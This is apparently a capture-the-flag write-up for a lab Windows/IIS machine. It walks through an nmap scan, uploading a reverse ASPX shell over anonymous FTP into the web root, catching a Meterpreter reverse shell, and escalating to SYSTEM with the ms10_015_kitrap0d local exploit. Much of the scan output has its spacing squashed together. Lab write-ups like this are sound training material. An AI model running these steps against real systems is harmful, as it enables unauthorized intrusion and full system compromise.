# Nmap 7.70 scan initiated Sat Jul 6 15:29:35 2019 as: nmap -p 21,80 -sV -sC -O -A -oN O-Detailed 10.10.10.5Nmapscanreportfor10.10.10.5Hostisup (0.24s latency).PORTSTATESERVICEVERSION21/tcpopenftpMicrosoftftpd|ftp-anon:AnonymousFTPloginallowed (FTP code230)|03-18-1702:06AM<DIR>aspnet_client|03-17-1705:37PM689iisstart.htm|_03-17-1705:37PM184946welcome.png|ftp-syst:|_SYST:Windows_NT80/tcpopenhttpMicrosoftIIShttpd7.5|http-methods:|_Potentiallyriskymethods:TRACE|_http-server-header:Microsoft-IIS/7.5|_http-title:IIS7Warning:OSScanresultsmaybeunreliablebecausewecouldnotfindatleast1openand1closedportDevicetype:generalpurpose|phone|specializedRunning (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)OSCPE:cpe:/o:microsoft:windows_8cpe:/o:microsoft:windowscpe:/o:microsoft:windows_server_2008:r2cpe:/o:microsoft:windows_7cpe:/o:microsoft:windows_8.1cpe:/o:microsoft:windows_vista::-cpe:/o:microsoft:windows_vista::sp1cpe:/o:microsoft:windows_server_2012:r2Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (91%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (91%)
NoexactOSmatchesforhost (test conditionsnon-ideal).NetworkDistance:2hopsServiceInfo:OS:Windows; CPE:cpe:/o:microsoft:windowsTRACEROUTE (using port21/tcp)HOPRTTADDRESS1237.33ms10.10.14.12237.55ms10.10.10.5OSandServicedetectionperformed.Pleasereportanyincorrectresultsathttps://nmap.org/submit/.# Nmap done at Sat Jul 6 15:29:54 2019 -- 1 IP address (1 host up) scanned in 19.17 seconds
We have anonymous FTP and a web-server. It turns out the FTP access is the root directory of the Web-Server hence we can upload our reverse ASPX shell directly via FTP and get a shell.
msf5> useexploit/multi/handlermsf5exploit(multi/handler) >setLHOST10.10.14.7msf5exploit(multi/handler) >setLPORT9999msf5exploit(multi/handler) >exploit-j-z[*] Started reverse TCP handler on 10.10.14.7:9999[*] Sending stage (179779bytes) to 10.10.10.5[*] Meterpreter session 1 opened (10.10.14.7:9999 ->10.10.10.5:49157) at 2019-07-06 16:10:19 +0530
Now we will use the local exploit suggester and use the XYZ exploit
meterpreter>runpost/multi/recon/local_exploit_suggesterSHOWDESCRIPTION=true[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The target service is running, but could not be validated
Please make sure while running the exploit/windows/local/ms10_015_kitrap0d exploit the LHOST and LPORT options are correctly configured as by default the settings are not correct.
msf5exploit(windows/local/ms10_015_kitrap0d) >exploit[*] Started reverse TCP handler on 10.10.14.7:4444[*] Launching notepad to host the exploit...[+] Process 2548 launched.[*] Reflectively injecting the exploit DLL into 2548...[*] Injecting exploit into 2548 ...[*] Exploit injected. Injecting payload into 2548...[*] Payload injected. Executing exploit...[+] Exploit finished, wait for (hopefullyprivileged) payload execution to complete.[*] Sending stage (179779bytes) to 10.10.10.5[*] Meterpreter session 6 opened (10.10.14.7:4444 ->10.10.10.5:49158) at 2019-07-06 16:10:54 +0530meterpreter>shellMicrosoftWindows [Version 6.1.7600]Copyright (c) 2009 Microsoft Corporation. All rights reserved.c:\windows\system32\inetsrv>whoamiwhoamintauthority\system
I was not aware of how to use metasploit sessions and that we can even use local exploit suggester, if we do not find any vulnerable information and the box is a little old. Additionally, sometimes exploit may be running fine but the LHOST and LPORT settings may be the problem. These were some key lessons while solving this box.